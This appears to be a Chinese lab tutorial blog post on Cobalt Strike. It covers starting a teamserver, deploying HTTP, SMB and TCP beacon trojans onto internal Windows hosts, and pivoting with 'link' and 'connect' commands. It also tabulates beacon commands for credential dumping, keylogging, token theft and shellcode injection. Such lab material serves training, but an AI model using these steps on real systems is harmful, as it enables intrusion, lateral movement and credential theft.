CobaltStrike远控工具beacon的使用

实验目的:
1、通过使用http木马、使内网win10主机1上线CS,
2、在此基础上,上传SMB木马、TCP木马到内网win10主机2,使内网win10主机2上线CS
**

一、拓补图

在这里插入图片描述
其中
1:内网win10主机1:10.23.142.1
2:攻击机kali:192.168.77.128(VPN:10.99.98.169)
3:外网路由器,外网可访问:10.23.142.100(10.23.142.200可访问内网win10主机1)
4:内网win10主机2:10.100.10.100

二、开启CS

1、kali在CS文件目录下,打开终端,运行命令:
命令:/teamserver 192.168.77.128 123456,其中192.168.77.128为kali攻击机的IP,123456为密码
需要先对teamserver赋权,命令:chmod +x teamserver
在这里插入图片描述

2、在windows中双击bat文件:
在这里插入图片描述

3、连接服务端,填写图下信息:
在这里插入图片描述

4、建立监听
监听IP:192.168.77.128(攻击机IP)
端口:1111
在这里插入图片描述

第一种使用http的木马

在这里插入图片描述
![在这里插入图片描述](https://img-blog.csdnimg.cn/16432b48b40f43dda3143a09467ea166.png在这里插入图片描述

一、外网路由器IP:10.23.142.100
3389远程连接10.23.142.200,可访问内网win10主机1
![在这里插入图片描述](https://img-blog.csdnimg.cn/dd933acfa5704d7187b214e20fa6a0a7.png

在这里插入图片描述

二、将生成的http木马,上传至内网win10主机1
在这里插入图片描述

三、双击运行,CS上线
在这里插入图片描述

四、是否连通的自查方法:
①kali与物理机可互通
在这里插入图片描述在这里插入图片描述

②物理机与内网windows10跳板机1互通
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
这里使用的是http协议的木马

Beacon shell命令介绍

Beacon Commands
    Command                   Description
    -------                   -----------
    browserpivot              注入受害者浏览器进程
    bypassuac                 绕过UAC
    cancel                    取消正在进行的下载
    cd                        切换目录
    checkin                   强制让被控端回连一次
    clear                     清除beacon内部的任务队列
    connect                   Connect to a Beacon peer over TCP
    covertvpn                 部署Covert VPN客户端
    cp                        复制文件
    dcsync                    从DC中提取密码哈希
    desktop                   远程VNC
    dllinject                 反射DLL注入进程
    dllload                   使用LoadLibrary将DLL加载到进程中
    download                  下载文件
    downloads                 列出正在进行的文件下载
    drives                    列出目标盘符
    elevate                   尝试提权
    execute                   在目标上执行程序(无输出)
    execute-assembly          在目标上内存中执行本地.NET程序
    exit                      退出beacon
    getprivs                  Enable system privileges on current token
    getsystem                 尝试获取SYSTEM权限
    getuid                    获取用户ID
    hashdump                  转储密码哈希值
    help                      帮助
    inject                    在特定进程中生成会话
    jobkill                   杀死一个后台任务
    jobs                      列出后台任务
    kerberos_ccache_use       从ccache文件中导入票据应用于此会话
    kerberos_ticket_purge     清除当前会话的票据
    kerberos_ticket_use       从ticket文件中导入票据应用于此会话
    keylogger                 键盘记录
    kill                      结束进程
    link                      Connect to a Beacon peer over a named pipe
    logonpasswords            使用mimikatz转储凭据和哈希值
    ls                        列出文件
    make_token                创建令牌以传递凭据
    mimikatz                  运行mimikatz
    mkdir                     创建一个目录
    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
    mode http                 使用HTTP作为通信通道
    mv                        移动文件
    net                       net命令
    note                      备注       
    portscan                  进行端口扫描
    powerpick                 通过Unmanaged PowerShell执行命令
    powershell                通过powershell.exe执行命令
    powershell-import         导入powershell脚本
    ppid                      Set parent PID for spawned post-ex jobs
    ps                        显示进程列表
    p**ec                     Use a service to spawn a session on a host
    p**ec_psh                 Use PowerShell to spawn a session on a host
    psinject                  在特定进程中执行PowerShell命令
    pth                       使用Mimikatz进行传递哈希
    pwd                       当前目录位置
    reg                       Query the registry
    rev2self                  恢复原始令牌
    rm                        删除文件或文件夹
    rportfwd                  端口转发
    run                       在目标上执行程序(返回输出)
    runas                     以另一个用户权限执行程序
    runasadmin                在高权限下执行程序
    runu                      Execute a program under another PID
    screenshot                屏幕截图
    setenv                    设置环境变量
    shell                     cmd执行命令
    shinject                  将shellcode注入进程
    shspawn                   生成进程并将shellcode注入其中
    sleep                     设置睡眠延迟时间
    socks                     启动SOCKS4代理
    socks stop                停止SOCKS4
    spawn                     Spawn a session 
    spawnas                   Spawn a session as another user
    spawnto                   Set executable to spawn processes into
    spawnu                    Spawn a session under another PID
    ssh                       使用ssh连接远程主机
    ssh-key                   使用密钥连接远程主机
    steal_token               从进程中窃取令牌
    timestomp                 将一个文件时间戳应用到另一个文件
    unlink                    Disconnect from parent Beacon
    upload                    上传文件
    wdigest                   使用mimikatz转储明文凭据
    winrm                     使用WinRM在主机上生成会话
    wmi                       使用WMI在主机上生成会话
    argue                     进程参数欺骗

第二种使用SMB木马

一、生成SMB木马上传至内网win10主机2
在这里插入图片描述
![在这里插入图片描述](https://img-blog.csdnimg.cn/6c309e577ebe4de0857319f5129417f9.png

二、内网win10主机1中python开启web服务
在这里插入图片描述

三、登录内网win10主机2,搜索内网win10主机1跳板机IP:192.168.26.200
在这里插入图片描述

四、找到SMB木马,下载并运行
在这里插入图片描述

五、在内网win10主机1中interact中输入:

link 10.100.10.100

内网win10主机2上线SMB木马
在这里插入图片描述
在这里插入图片描述
成功利用SMB木马,使内网win10主机2上线CS

第三种TCP木马上线内网win10主机2的CS

一、新增TCP–listener
在这里插入图片描述

二、生成TCP木马
在这里插入图片描述

三、上传到内网win10主机1
在这里插入图片描述

四、在内网win10主机2,下载TCP木马,双击运行:
在这里插入图片描述

五、在内网win10主机1中interact中输入命令:

connect 10.100.10.100 4444

内网win10主机2上线TCP木马
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
TCP木马上线成功

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值